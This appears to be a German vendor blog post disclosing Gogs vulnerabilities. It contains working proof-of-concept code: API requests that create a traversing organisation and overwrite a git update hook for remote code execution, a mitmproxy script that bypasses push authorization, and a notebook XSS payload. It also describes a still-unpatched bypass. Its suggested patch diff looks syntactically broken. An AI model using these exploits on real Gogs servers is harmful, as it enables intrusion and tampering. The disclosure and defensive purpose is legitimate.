19. August 2026

Schon wieder ein RCE in Gogs, aber diesmal ist das Problem behoben!

Gogs ist eine Open-Source-Git-Hosting-Plattform wie GitHub oder GitLab. Die Anwendung ermöglicht es Benutzenden, ihre eigenen Repositories und Organisationen zu verwalten. Unter der Haube stützt sie sich stark auf die git CLI.

Es gab eine lange Historie von RCEs in Gogs, von denen die meisten eine Weile brauchten, um behoben zu werden, und die eine öffentliche Offenlegung erforderten, noch bevor eine offiziell gepatchte Version überhaupt veröffentlicht wurde. Dieser Fall war anders. Nach einigen Monaten der Ruhe scheint die Arbeit der Maintainer an der Absicherung von Gogs wieder aufgenommen worden zu sein, und alle unsere Meldungen wurden mit Version 0.14.3 behoben! Wir hoffen, dass sich dieser Trend fortsetzt und Gogs schlussendlich in einen sicheren Zustand versetzt. Allerdings gibt es derzeit immer noch einen ungepatchten Bypass einer von uns gemeldeten Schwachstelle, den unsere KI-Penetrationstest-Agenten gefunden haben. Wir stellen dafür unten einen manuellen Code-Patch bereit.

Dieser Beitrag konzentriert sich in erster Linie auf die Remote Code Execution-Schwachstelle (CVE-2026-52813), da sie technisch am interessantesten ist. Ich werde jedoch auch einen Logikfehler beim Schreiben in schreibgeschützte Repositories (CVE-2026-52810) zusammen mit einer XSS-Schwachstelle in der von Gogs verwendeten Jupyter-Rendering-Bibliothek (GHSA-6vxv-wg6j-5qwp) erläutern.

Fangen wir direkt an!

Pfadtraverse im Organisationsnamen

Wir beginnen damit, wie wir die Schwachstelle entdeckt haben, die gleichzeitig die größte Auswirkungen hatte und technisch am interessantesten war: CVE-2026-52813 (GHSA-c39w-43gm-34h5).
Mit Aikido Attack führen wir zahlreiche KI-Penetrationstests für Open-Source-Projekte durch, darunter auch Gogs. Hier ist ein Auszug aus einem Bericht, den wir von einem unserer Penetrationstest-Agenten erhalten haben:

Aikido Bericht eines Pentest-Agenten, der eine kritische Pfaddurchquerung im Benutzernamen der Organisation „Gogs“ aufzeigt, mit Schritten zur Reproduktion und einer curl-Anfrage, die eine Organisation namens „../../../../tmp/ptapi3“ erstellt

Es wurde eine Pfadtraverse im Benutzernamen der Organisation erwähnt, auf die nur bei Verwendung der API zugegriffen werden kann, um außerhalb des vorgesehenen Verzeichnisses in den restlichen Teil des Dateisystems zu schreiben.

Schauen wir uns die Ursache des gefundenen Problems etwas genauer an, um es besser zu verstehen. Der wichtigste Teil ist diese Funktion in repox.go:

func UserPath(user string) string {
    return filepath.Join(conf.Repository.Root, strings.ToLower(user))
}

Sie bestimmt, wo im Dateisystem die Repositories der einzelnen Benutzenden gespeichert werden, und verbindet einfach deren Benutzernamen mit dem konfigurierten Stammverzeichnis der Repositories. Das Zusammenfügen von Pfaden ohne Bereinigung ist immer riskant, da das Betriebssystem Folgendes unterstützt: ../ Sequenzen für Directory Traversal aus Verzeichnissen heraus, genau wie diese hier .Join() in Go.

Zum Glück für Gogs werden diese Benutzernamen bereinigt bei der Registrierung mithilfe der AlphaDashDot Binding-Regel, die nur Buchstaben, Zahlen und -_. Zeichen zulässt. Dadurch ist es unmöglich, einen Benutzer zu registrieren mit ../ im Namen:

type Register struct {
    UserName string `binding:"Required;AlphaDashDot;MaxSize(35)"`
    Email    string `binding:"Required;Email;MaxSize(254)"`
    Password string `binding:"Required;MaxSize(255)"`
    Retype   string
}

Aber Benutzer sind nicht das Einzige, das durch UserPath(). Organizations fließt. Wenn wir uns die Definition ansehen, stellen wir fest, dass es eine solche Bereinigung für UserName Feld:

type createOrgRequest struct {
    UserName    string `json:"username" binding:"Required"`
    FullName    string `json:"full_name"`
    Description string `json:"description"`
    Website     string `json:"website"`
    Location    string `json:"location"`
}

Das bedeutet, wir können eine Organisation erstellen namens ../../../../tmp/test damit UserPath() dafür zurückgibt /path/to/root/ + ../../../../tmp/test = /tmp/test. Alle Repositories, die innerhalb der Organisation erstellt werden, werden dann in dieses neue Verzeichnis außerhalb des Root-Verzeichnisses geschrieben.

Probieren wir es in der Praxis aus:

s = requests.Session()
# Get API token
r = s.post(f"{HOST}/api/v1/users/{USERNAME}/tokens",
    auth=(USERNAME, PASSWORD),
    json={"name": secrets.token_hex(12)}
)
r.raise_for_status()
sha1 = r.json().get("sha1")
s.headers.update({"Authorization": f"token {sha1}"})
# Create organization via API
org_name = "../../../../../tmp/test"
r = s.post(f"{HOST}/api/v1/user/orgs",
    json={
        "username": org_name,
        "full_name": "path-traversal",
    }
)
print(r.json())  # {'id': 4, 'username': '../../../../../tmp/test', 'full_name': 'deep', 'avatar_url': 'https://gogs.local/img/avatar_default.png', 'description': '', 'website': '', 'location': ''}

Nun, da die Organisation erstellt ist, sehen wir einen Ordner in /tmp namens test/:

$ ls -l /tmp
total 4
drwxr-xr-x    2 git      git           4096 Jun  8 09:32 test

Um diesen zu füllen, können wir nun ein neues Repository unter der bösartigen Organisation erstellen:

r = s.post(
    f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos",
    json={
        "name": "repo1",
        "description": "poc",
        "private": False,
        "auto_init": True,
        "readme": "Default",
    }
)
print(r.json())  # {'id': 1, 'owner': ..., 'name': 'repo1', 'full_name': '../../../../../tmp/test/repo1', 'description': 'poc', 'private': False, ...}

Erfolgreich! Wenn wir das Dateisystem erneut überprüfen, stellen wir fest, dass der Ordner repo1.git am angegebenen Ort erstellt wurde:

$ ls -l /tmp/test/repo1.git
total 28
-rw-r--r--    1 git      git             23 Jun  8 09:41 HEAD
-rw-r--r--    1 git      git             66 Jun  8 09:41 config
-rw-r--r--    1 git      git             73 Jun  8 09:41 description
drwxr-xr-x    2 git      git           4096 Jun  8 09:41 hooks
drwxr-xr-x    2 git      git           4096 Jun  8 09:41 info
drwxr-xr-x    7 git      git           4096 Jun  8 09:41 objects
drwxr-xr-x    4 git      git           4096 Jun  8 09:41 refs

Dies beweist, dass irgendeine Art von Path Traversal funktioniert. Obwohl wir das Repository mit einer README initialisiert haben, ist diese hier auf dem Dateisystem nicht sichtbar. Das liegt daran, dass es sich hierbei um ein Bares Repositoryhandelt. Eines, das nur die Git-Metadatendateien und keinen „Worktree“ enthält. Gogs benötigt die echten Dateien während seines normalen Betriebs nicht. Es kann alle Daten aus den komprimierten Objekte und der Struktur in diesem baren Repository abrufen.

Das Schreiben beliebiger Dateien mithilfe der Inhalte des Git-Repositories wäre eine sehr mächtige Primitive. Es sieht so aus, als hätten wir ein sehr schwaches Path Traversal, bei dem wir nur diese spezifische Git-Metadatenstruktur erstellen können …

Ein Sonderfall ist das Bearbeiten von Dateien in der Gogs-Benutzeroberfläche. Dies wäre mit reinen Git-Operationen umständlich, weshalb Gogs vorübergehend einen echten Worktree lokal unter /data/gogs/data/tmp/local-r/ mit einer inkrementellen ID erstellt (2):

$ find / -name README.md 2>/dev/null
/data/gogs/data/tmp/local-r/2/README.md

Wir haben unsere erstellte README.md Datei schließlich hier gefunden. Dieser Pfad enthält leider unseren Benutzernamen nicht mehr, sodass wir unsere Path-Traversal-Schwachstelle nicht zum Schreiben beliebiger Dateien nutzen können. Wir können:

  • Bares Repositories (nur Git-Metadaten) überall per Path Traversal schreiben  
  • Worktrees (mit echten Dateien) nur an einem spezifischen, sicheren Pfad erstellen

Reicht das aus, um in einer Standard-Gogs-Konfiguration Schaden anzurichten? Können wir allein mit diesem eingeschränkten Dateischreibzugriff RCE erhalten?

RCE über Git-Config in geschachtelten Repositories

An dieser Stelle haben wir die Untersuchung manuell übernommen und versucht, den vom Agenten gefundenen Path Traversal in eine vollständige Remote Code Execution zu eskalieren.

Wir sind bei den Auswirkungen dieser Schwachstelle etwas eingeschränkt. Wir können bestehende Dateien an beliebigen Orten nicht überschreiben, da wir die Dateinamen in den Git-Metadaten nicht kontrollieren. Wir können ein solches Bare-Repository nur an einem beliebigen Ort erstellen.

Als Hintergrundwissen: Git verfügt über „Hooks“ , bei denen es sich um im .git/hooks -Ordner konfigurierte Skripte handelt, die immer dann ausgeführt werden, wenn bestimmte Git-Operationen stattfinden. Beispielsweise pre-commit wird direkt vor dem Erstellen eines Commits ausgeführt. Oder serverseitig update, , was immer dann ausgeführt wird, wenn ein Push von einem Client empfangen wird.

Wenn es einem Angreifer gelingt, in einen dieser Hook-Pfade zu schreiben, führt dies fast garantiert zu RCE, da der nächste Git-Vorgang die Ausführung des Skripts auslöst. Wir nutzen dies gezielt, um beliebige Systembefehle auszuführen.

Wir wissen, dass wir eine .git/hooks -Datei eines anderen Repositories nicht mit diesem Path Traversal überschreiben können. Wenn wir aber weiter darüber nachdenken: Was passiert, wenn wir es umgekehrt machen?

Wir können ein reguläres Worktree erstellen und dann unser Bare-Repository über die Path-Traversal-Schwachstelle darin platzieren. Anschließend können wir die hooks/update -Datei des Bare-Repositories über das Worktree des regulären Repositories bearbeiten. Wenn wir dann einen Push dorthin ausführen, wird der Hook ausgelöst und wir haben RCE erreicht. Probieren wir es in der Praxis aus.

Erstellen Sie zunächst ein einfaches Repository, mit dem wir später Dateien bearbeiten. Vorerst wird dadurch nur ein Verzeichnis im Dateisystem unter /data/git/repositories/developer/editor.git (Metadaten) erstellt, noch nicht unter /data/gogs/data/tmp/local-r/1/ (Worktree). Wir wissen, dass wir dieses Worktree erstellen können, indem wir einfach eine beliebige Datei über die Gogs-Benutzeroberfläche hinzufügen.

Gogs-Repository-Ansicht für Entwickler/Redakteure im Master-Zweig, wobei die Schaltfläche „Neue Datei“ hervorgehoben ist, um eine Datei hinzuzufügen und den Repository-Arbeitsbaum anzulegen

Danach wird der Worktree anhand der ID des Repositorys erstellt (abgerufen über /api/v1/repos/:owner/:repo).

$ ls -la /data/gogs/data/tmp/local-r/1

drwxr-xr-x    7 git      git           4096 Jun  9 08:53 .git
-rw-r--r--    1 git      git             10 Jun  9 08:53 README.md
-rw-------    1 git      git              5 Jun  9 08:53 dummy

Im nächsten Schritt schreiben wir unsere Path Traversal -Organisation in diesen bearbeitbaren Ordner. Wir erstellen eine mit dem Namen ../../gogs/data/tmp/local-r/1 , um in den Ordner zu gelangen. Erstellen Sie anschließend ein Repository darin.

org_name = "../../gogs/data/tmp/local-r/1"
r = s.post(f"{HOST}/api/v1/user/orgs", ...)
r = s.post(f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos", ...)

Danach wird die erstellte Durchlauf Das Repository wird im Arbeitsverzeichnis angezeigt:

$ ls -la

drwxr-xr-x    7 git      git           4096 Jun  9 08:53 .git
-rw-r--r--    1 git      git             10 Juni  9 08:53 README.md
-rw-------    1 git      git              5 Juni  9 08:53 dummy
drwxr-xr-x    6 git      git           4096 Jun  9 11:45 traversal.git

$ cat traversal.git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = true

Wenn wir die Seite neu laden, Entwickler/Redakteur Die Seite ist jetzt auf Gogs verfügbar, wir können sie jedoch noch nicht sehen, da das Dateisystem noch nicht mit der Benutzeroberfläche synchronisiert ist. Dazu erstellen wir eine weitere Dummy-Datei. Dann wird sie angezeigt, und wir können sogar ihre Dateien durchsehen:

Der Gogs-Dateibrowser zeigt das verschachtelte „traversal.git“-Bare-Repository im Verzeichnis „developer/editor“ mit seinem Ordner „hooks“ und den Git-Metadatendateien an.

Es sieht so aus, als könnten wir nun einfach die hooks/update Datei als schädlich einstufen, aber wenn wir dies versuchen, gibt Gogs im Frontend die folgende Fehlermeldung aus:

Datei konnte nicht aktualisiert/erstellt werden „traversal.git/hooks/update“ mit Fehler: Interner Serverfehler

In den Backend-Protokollen sehen wir Folgendes:

[FEHLER] [...gs/internal/route/repo/editor.go:280 editFilePost()] Aktualisierung der Repo-Datei fehlgeschlagen: ungültiger Verzeichnispfad „traversal.git/hooks/update“

Leider gibt es eine Überprüfung, die feststellt, ob ein von uns bearbeiteter Pfad .git/, und unser traversal.git/hooks/update Der Pfad tut es definitiv.

func (r *Repository) UpdateRepoFile(doer *User, opts UpdateRepoFileOptions) error {
    // 🚨 SECURITY: Prevent uploading files into the ".git" directory.
    if isRepositoryGitPath(opts.NewTreeName) {
        return errors.Errorf("bad tree path %q", opts.NewTreeName)
    }
    ...
}

func isRepositoryGitPath(path string) bool {
    path = strings.ToLower(path)
    return strings.HasSuffix(path, ".git") ||
        strings.Contains(path, ".git/") ||
        strings.Contains(path, `.git\`) ||
        // Windows treats ".git." the same as ".git"
        strings.HasSuffix(path, ".git.") ||
        strings.Contains(path, ".git./") ||
        strings.Contains(path, `.git.\`)
}

Der UI-Editor erlaubt also nicht das Bearbeiten unseres verschachtelten Repositorys. Aber wie sieht es mit einem nativen Git Push aus?

$ git clone https://gogs.local/developer/editor.git && cd editor
$ echo 'id>/tmp/pwned' >> traversal.git/hooks/update
$ git add .
$ git commit -m "update hook"
$ git push
Username for 'https://gogs.local': developer
Password for 'https://developer@gogs.local':
To https://gogs.local/developer/editor.git
   8c7f89f..fe4cc1b  master -> master

Funktioniert einwandfrei! Die Überprüfung ist insoweit lockerer, als dass der Name eines Pfadsegments exakt übereinstimmen muss mit .git. Wir haben Glück, dass der Name des Bare-Repositories traversal.git und nicht .gitist, da die Git-Methode den Namen weiterhin zulässt.

Laden Sie erneut eine Dummy-Datei hoch, um den Worktree zu aktualisieren, und wir können die aktualisierte Datei sehen!

Gogs zeigt die Datei „traversal.git/hooks/update“ an, ein Bash-Skript, das den Gogs-Update-Hook ausführt und anschließend „id>/tmp/pwned“ als injizierte Nutzlast ausführt.

Jetzt bleibt nur noch das Pushing zum Bare-Repository. Dies müssen wir für das Repository unter der ../../ Organisation tun, was in der Benutzeroberfläche etwas umständlich ist. Über die API können wir den Pfad jedoch einfach URL-kodieren und problemlos darauf zugreifen. Wir lösen einen weiteren Datei-Upload aus, damit intern ein Commit in einem zweiten Worktree erstellt und dieser dann an das Bare-Repository gepusht wird (beide im selben Dateisystem, so funktioniert Git und so verarbeitet Gogs seine Repositories intern).

r = s.put(
    f"{HOST}/api/v1/repos/{org_enc}/traversal/contents/dummy4",
    json={
        "message": "trigger update hook",
        "content": base64.b64encode(b"dummy4").decode(),
        "branch": "master",
    }
)
print(r.json())  # {'commit': {'url': 'http://4.245.3.4:13000/api/v1/repos/../../gogs/data/tmp/local-r/1/traversal/contents/dummy4', ...}, ...}

Nach diesem Commit für das Durchlauf Repository wird es an /data/gogs/data/tmp/local-r/1/traversal.gitgepusht, wodurch traversal.git/hooks/updateausgelöst wird. Wir haben es so überschrieben, dass id > /tmp/pwned anschließend ausgeführt wird, und wenn wir diesen Pfad überprüfen, finden wir erwartungsgemäß die Ausgabe von id:

$ cat /tmp/pwned
uid=1000(git) gid=101(git) groups=101(git)

Wir haben erfolgreich Remote Code Execution auf Gogs als der git Benutzer erreicht!

Push-Autorisierungsumgehung durch receive-pack-Verwirrung

Zurück zu einer völlig anderen Art von Schwachstelle: CVE-2026-52810 (GHSA-wmfg-5p4h-5fw3). Anstelle von komplizierten Injections handelt es sich hierbei um einen einfachen Logikfehler, der manuell jedoch nur schwer zu finden ist. Das Ganze spielt sich im Low-Level-Bereich ab: Git-HTTP-Protokoll, das Gogs für Funktionen wie git push für ein Repository implementiert.

In den "Smart" -Protokoll gibt es zwei Dienste: git-upload-pack (Server auffordern, Daten an Sie hochzuladen = Pull) und git-receive-pack (Server empfängt neue Daten von Ihnen = Push).
Mit diesen beiden Operationen sind unterschiedliche Berechtigungen verknüpft. Sie sollten nur dann dazu in der Lage sein, Push wenn Sie über Write -Berechtigungen verfügen, während für ein simples Pull, Read bereits ausreicht. Gogs implementiert dies in einer Art Middleware für die gesamte Git-HTTP-Logik:

func HTTPContexter(store Store) macaron.Handler {
    ...
    isPull := c.Query("service") == "git-upload-pack" ||
        strings.HasSuffix(c.Req.URL.Path, "git-upload-pack") ||
        c.Req.Method == "GET"
    ...
    mode := database.AccessModeWrite
    if isPull {
        mode = database.AccessModeRead
    }

Die Anfrage wird als Pull (Read) behandelt, wenn entweder der Dienst Query-Parameter oder der finale Pfad git-upload-pack.

Gogs definiert daraufhin Handler für die jeweiligen Aktionen:

{lazyregexp.New("(.*?)/git-upload-pack$"), "POST", serviceUploadPack},
{lazyregexp.New("(.*?)/git-receive-pack$"), "POST", serviceReceivePack},

Bemerkenswert ist, dass hierbei mit keiner Silbe erwähnt wird: Dienst Abfrageparameter hier. Nach der Validierung der Autorisierung durch eine einfache String-Prüfung des Pfads wird der Pfad anhand der obigen RegExes erneut geparst. Dies kann leicht zu Abweichungen führen, bei denen die Autorisierung dies als Read Anfrage interpretiert, während der übereinstimmende Handler ein Write Endpoint.

Der Dienst Abfrageparameter für /refs/infogedacht war, aber global für die Autorisierung aktiviert wurde. Das bedeutet, dass wir einen Pfad von /git-receive-pack mit einem ignorierten Parameter von service=git-upload-packanfordern können. Gogs verwirrt dies, und aufgrund des Parameters geht es davon aus, dass es sich um eine Lese- Anfrage handelt. Wenn die Anfrage jedoch den Handler erreicht, wird der Schreib-Endpoint aufgerufen!

Die eigentliche Ausnutzung dieser Schwachstelle klingt etwas knifflig, da das Protokoll zum Pushen von Commits von Git sehr individuell gestaltet ist. Wir können jedoch einfach einen kleinen Proxy erstellen, der /git-receive-pack zu /git-receive-pack?service=git-upload-pack umschreibt, um die Prüfung zu umgehen:

from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit
from mitmproxy import ctx, http

def request(flow: http.HTTPFlow) -> None:
    u = urlsplit(flow.request.pretty_url)
    if not u.path.endswith("/git-receive-pack"):
        return

    params = parse_qsl(u.query, keep_blank_values=True)
    params.append(("service", "git-upload-pack"))
    query = urlencode(params)
    flow.request.url = urlunsplit((u.scheme, u.netloc, u.path, query, ""))
    ctx.log.info(f"[poc] rewrite receive-pack -> {u.path}?{query}")

Dieses Skript ist mit mitmproxykompatibel. Nach dem Ausführen können wir die http_proxy und https_proxy Umgebungsvariablen in einem anderen Terminal festlegen, bevor wir git Befehle ausführen. Git leitet alle Netzwerkaufrufe über unseren Proxy-Skript weiter, welches den /git-receive-pack so umschreibt, dass der service=git-upload-pack Abfrageparameter angehängt wird.

Versuchen wir, ein Repository für einen Account zu erstellen, es zu klonen und mit aktivem Proxy zu pushen:

$ mitmdump -s mitmproxy_addon.py -p 1337

$ export http_proxy=http://127.0.0.1:1337
$ export https_proxy=http://127.0.0.1:1337
$ git clone https://gogs.local/victim/target.git && cd target
$ echo POC > poc
$ git add .
$ git commit -m poc
$ git push
error: RPC failed; HTTP 500 curl 22 The requested URL returned error: 500
send-pack: unexpected disconnect while reading sideband packet
fatal: the remote end hung up unexpectedly

500? Ein Blick in die Backend-Logs zeigt einen Nil Pointer Dereference?!

[Macaron] PANIC: runtime error: invalid memory address or nil pointer dereference
runtime/panic.go:336 (0x492697)
runtime/signal_unix.go:931 (0x492665)
gogs.io/gogs/internal/database/repo_editor.go:67 (0x1286642)
gogs.io/gogs/internal/route/repo/http.go:257 (0x142e5e5)
gogs.io/gogs/internal/route/repo/http.go:282 (0x142ed44)
gogs.io/gogs/internal/route/repo/http.go:425 (0x142fbae)

nil ist in Go lediglich die Entsprechung zu null. Versuchen Sie, auf eine Eigenschaft eines Objekts zuzugreifen, das nilist, erhalten Sie einen „Nil Pointer Dereference“. Wenn wir den Code bei internal/database/repo_editor.go:67verfolgen, sehen wir:

EnvAuthUserID + "=" + strconv.FormatInt(opts.AuthUser.ID, 10),

Es sieht so aus, als ob unser AuthUser nicht gesetzt wurde. Weiter oben in der Aufrufkette sollten wir ihn vom Ende von HTTPContexter():

func HTTPContexter(store Store) macaron.Handler {
    ...
    c.Map(&HTTPContext{
        Context:   c,
        OwnerName: ownerName,
        OwnerSalt: owner.Salt,
        RepoID:    repo.ID,
        RepoName:  repoName,
        AuthUser:  authUser,
    })

erhalten. Aufgrund unseres Bypasses ist jedoch isPull ist wahr, und dieser vorzeitige Return greift zuerst:

func HTTPContexter(store Store) macaron.Handler {
    ...
    // Authentication is not required for pulling from public repositories.
    if isPull && !repo.IsPrivate && !conf.Auth.RequireSigninView {
        c.Map(&HTTPContext{
            Context: c,
        })
        return
    }

Aus diesem Grund AuthUser ist nicht gesetzt und stürzt ab, wenn es von receive-packverwendet werden soll. Zum Glück sehen wir direkt im Quellcode ein paar einfache Möglichkeiten, dies zu umgehen:

  1. Wenn repo.IsPrivate, wird die Bedingung übersprungen.  
  2. Wenn conf.Auth.RequireSigninView aktiviert ist, wird die Bedingung übersprungen.

Der Exploit funktioniert also nur bei Repositories, die nicht öffentlich lesbar sind. Wenn die globale RequireSigninView Konfiguration entsprechend gesetzt ist, ist die gesamte Instanz anfällig. Um das Testen zu vereinfachen, erstellen wir einfach ein privates Repository und laden den Angreifer als Mitarbeiter mit Lesezugriff ein:

Gogs-Einstellungen für die Zusammenarbeit im privaten Repository des Opfers/Ziels, in denen das Angreiferkonto als Mitwirkender mit Lesezugriff hinzugefügt wurde

Beim erneuten Ausführen des PoCs stellen wir fest, dass der Angreifer nun erfolgreich in das Repository schreiben kann:

$ git push
Username for 'https://gogs.local': attacker
Password for 'https://developer@gogs.local':
...
Writing objects: 100% (3/3), 507 bytes | 507.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To https://gogs.local/victim/target.git
   62ef1eb..cb13c59  master -> master

Die Änderung spiegelt sich auch in der Benutzeroberfläche wider:

Gogs-Dateiliste für das Opfer/Ziel nach dem Exploit, in der neben der Datei „README.md“ eine vom Angreifer hochgeladene PoC-Datei angezeigt wird

Mit dieser Schwachstelle kann ein Angreifer in jedes Repository schreiben, für das eine Anmeldung zum Lesen erforderlich ist. Wenn eine Verbindung zu CI/CD besteht, könnte dies schädliche Deployments auslösen oder Malware im Allgemeinen verstecken.

Nicht gepatcht

Diese Schwachstelle wurde behoben in #8331 indem validiert wird, welche Routen für den Empfang im Vergleich zum Hochladen bestimmt sind. Dieser Fix ist jedoch unvollständig weil die Überprüfung für /git-receive-pack nicht übereinstimmt mit /git-receive-pack (Großbuchstaben), während der Router später nicht zwischen Groß- und Kleinschreibung unterscheidet. Wir haben den Bypass den Maintainern gemeldet, aber zum Zeitpunkt der Veröffentlichung dieses Beitrags noch keine Antwort erhalten.

Wenden Sie den folgenden Quellcode-Patch an und erstellen Sie Gogs neu, um diese Schwachstelle zu beheben:

--- a/internal/route/repo/http.go
+++ b/internal/route/repo/http.go
@@ -62,8 +62,10 @@ func gitHTTPActionFromPath(urlPath, subpath, owner, repo string) string {
 }
 
 func gitHTTPIsPull(c *macaron.Context, action string) bool {
+    action = strings.ToLower(action)
     if action == "info/refs" {
-        return c.Query("service") != "git-receive-pack"
+        return !strings.EqualFold(c.Query("service"), "git-receive-pack"
     }
     return action != "git-receive-pack"
 }

Gespeicherte XSS-Schwachstelle in .ipynb-Dateien

Schließlich war dies ein einfacher Exploit mit einem interessanten Grund: GHSA-6vxv-wg6j-5qwp (noch keine CVE). Wenn man sich nur den Code angesehen hätte, würde man denken, dass er ordnungsgemäß bereinigt wird!

Die meisten Git-Benutzeroberflächen verfügen über benutzerdefinierte Anzeigemethoden für bestimmte Dateien, einschließlich Jupyter Notebooks (.ipynb Dateien). Diese Dateien sind als interaktive Präsentationen von Ein- und Ausgaben von Python-Code gedacht, in die Markdown-Beschreibungen eingebettet sind.

Das Jupyter-Notebook „test.ipynb“ wurde in Gogs gerendert und zeigt die Überschrift „Hello world“ über einer Codezelle mit dem Befehl print("Hello, world!") an.

Sie fragen sich vielleicht, wie diese gerendert werden?
Die Antwort: Eine stark veraltete Version von notebookjs (0.4.2, wobei 0.8.0 die aktuelle Version ist).

Ziemlich immer, wenn man von Markdown spricht, spricht man auch von HTML. Roher HTML-Inhalt ist sogar Teil der CommonMark-Spezifikation, weshalb viele Renderer ihn ohne Zögern implementieren. Das Problem für Gogs besteht darin, dass nicht vertrauenswürdige Eingaben (die Dateiinhalte jedes Benutzers) in diesen Renderer fließen.

Im Quellcode sieht es so aus, als würde aufseiten von Gogs eine gewisse Bereinigung stattfinden:

$.getJSON("/siteadmin/ipynb/raw/master/test.ipynb", null, function(notebook_json) {
  var notebook = nb.parse(notebook_json);
  var rendered = notebook.render();
  $.ajax({
    type: "POST",
    url: '/-/api/sanitize_ipynb',
    data: rendered.outerHTML,
    processData: false,
    contentType: false,
  }).done(function(data) {
    $("#ipython-notebook").append(data);
    ...

Das Backend verwendet bluemonday, eine weithin geschätzte Sanitization-Bibliothek, um die Ausgabe von notebookjs zu bereinigen, bevor die Daten an den DOM angehängt werden. Ein Payload wie <u>te<script>1</script>st</u> wird zu <u>test</u>. Das ist sicher.

Wir können jedoch ein Problem in der notebookjs-Bibliothek selbst feststellen. Während der Umwandlung von Markdown in HTML für Markdown-Zellen erstellt sie ein temporäres Element und weist .innerHTML folgendes zu:

var el = makeElement("div", ["cell", "markdown-cell"]);
el.innerHTML = nb.markdown(joinText(this.raw.source))

Auch wenn es nicht zum DOM hinzugefügt, reicht bereits die Zuweisung an eine beliebige temporäre JavaScript-Variable aus, um Ereignisse für das Element auszulösen. Für die <img> Element, zum Beispiel dessen src= ist bereits geladen und kann möglicherweise fehlschlagen, was dazu führt, dass onerror=. Alles in Ordnung innerhalb von notebookjs selbst.

Aus diesem Grund funktioniert eine Payload wie die folgende unabhängig davon, was Gogs mit der Ausgabe macht:

{
  "cells": [
    {
      "cell_type": "markdown",
      "metadata": {},
      "source": [
        "<img src onerror=alert(origin)>"
      ]
    }
  ],
  "metadata": {},
  "nbformat": 4,
  "nbformat_minor": 2
}

Anzeigen der .ipynb Die Datei löst nun beim Rendern einen XSS-Fehler aus:

Der Browser zeigt eine JavaScript-Meldung mit dem Text „gogs.local“ an, in der steht: „https://gogs.local“. Diese Meldung wurde durch das Öffnen einer bösartigen .ipynb-Datei ausgelöst, die das gespeicherte XSS demonstriert.

Der Angreifer kann solche Dateien überall platzieren, beispielsweise in seinen eigenen Repositories oder in Pull-Requests, die beim Klicken auf „Datei anzeigen“ aufgerufen werden, oder indem er einem beliebigen anderen Benutzer einfach einen Link direkt zu seiner Payload-Datei schickt.

Erkennung

Um zu überprüfen, ob Sie von der Sicherheitslücke „Remote Code Execution“ (CVE-2026-52813) betroffen sind, prüfen Sie, ob Ihre Gogs-Version 0.14.2 oder niedriger ist. Aikido erkennt diese Version in Ihrer Organisation und gibt eine Warnung der Stufe „kritisch“ aus:

Aikido Die Schweregradbewertung für Gogs vor Version 0.14.3 lautet „kritisch“ mit einer Punktzahl von 100 für die RCE durch Pfaddurchlauf; es wird ein Upgrade auf Version 0.14.3 oder höher empfohlen.

Für die Umgehung der Push-Autorisierung (CVE-2026-52810) gibt es keine offiziell behobene Version. Derzeit sind alle Versionen anfällig. Aikido erkennt Gogs-Instanzen mit einer Warnstufe „hoch“:

Aikido Die Warnstufe für Gogs 0.14.3 und frühere Versionen wird aufgrund einer Punktzahl von 71 für die Umgehung der Git-HTTP-Autorisierung als „hohes Risiko“ eingestuft; es wird empfohlen, Git Smart HTTP zu deaktivieren und SSH zu verwenden.

Fazit

Wie bereits mehrfach erwähnt, ist die sichere Integration von Git in eine Anwendung oft eine anspruchsvolle Aufgabe. Das System birgt einfach so viele Fallstricke im Dateisystem, die Angreifer ausnutzen können. Schlimmer noch: Die Folgen sind oft gravierend. Deshalb ist es unerlässlich, solche Anwendungen durch Penetrationstests gründlich zu prüfen.

Wenn es eine Weile dauert, bis Sicherheitslücken nach ihrer Entdeckung behoben werden, bleibt ein erheblicher Zeitraum, in dem die Anwendung bekanntermaßen ausgenutzt werden kann. Im Zeitalter der KI entdeckt jeder Sicherheitslücken. Entwickler stehen vor der Aufgabe, Korrekturen schneller als bisher bereitzustellen, daher müssen wir uns daran gewöhnen, auch diesen Teil mit Tools wie „Aikido “ Autofix zu beschleunigen.

Dann können Sie Korrekturen sogar eigenständig validieren und KI-Penetrationstests und weiterhin Funktionen und Verbesserungen bereitstellen, die die Nutzer tatsächlich wünschen.

Da Gogs derzeit nicht aktiv gepflegt wird, ist mit aktiven Schwachstellen zu rechnen. Wir empfehlen vorerst eine andere selbst gehostete Git-Lösung zu verwenden, bis sich die Lage beruhigt hat.

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten
Autoren
Jorian Woltjer
Nach Malware scannen
Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System. Finden und beheben Sie Schwachstellen schnell und automatisch.
Kostenlos starten
Teilen:

Kürzlich hinzugefügt

18. November 2026

PHP plant für den 19. November ein wichtiges Sicherheitsupdate, das unter anderem die Schwachstelle CVE-2026-115560 behebt

PHP veröffentlicht am 19. November wichtige Sicherheitsupdates. Hier erfahren Sie, was wir über CVE-2026-115560 wissen und wie Sie das Problem beheben können, bevor der Patch verfügbar ist.
Mehr erfahren
18. November 2026

nginx2root: Kritische Sicherheitslücken in nginx, darunter eine RCE [CVE-2026-123007, CVE-2026-123634, CVE-2026-123633, CVE-2026-121810, CVE-2026-113425]

nginx2root umfasst fünf kritische RCE-Sicherheitslücken in nginx, darunter CVE-2026-123007 in HTTP/2. Prüfen Sie, ob Sie betroffen sind, und aktualisieren Sie auf nginx 1.31.9 oder 1.30.7.
Mehr erfahren
17. November 2026

Java4Shell: RCE-Sicherheitslücke im Base64-Decoder von OpenJDK – betroffene Versionen und Behebung (CVE-2026-114938)

Java4Shell ist eine Sicherheitslücke im Base64-Decoder von OpenJDK, die es Angreifern ermöglichen kann, Code aus der Ferne auszuführen – teilweise sogar ohne Authentifizierung. Hier finden Sie die betroffenen Versionen, die behobenen Builds und Informationen dazu, wie Sie das Problem bereits heute beheben können.
Mehr erfahren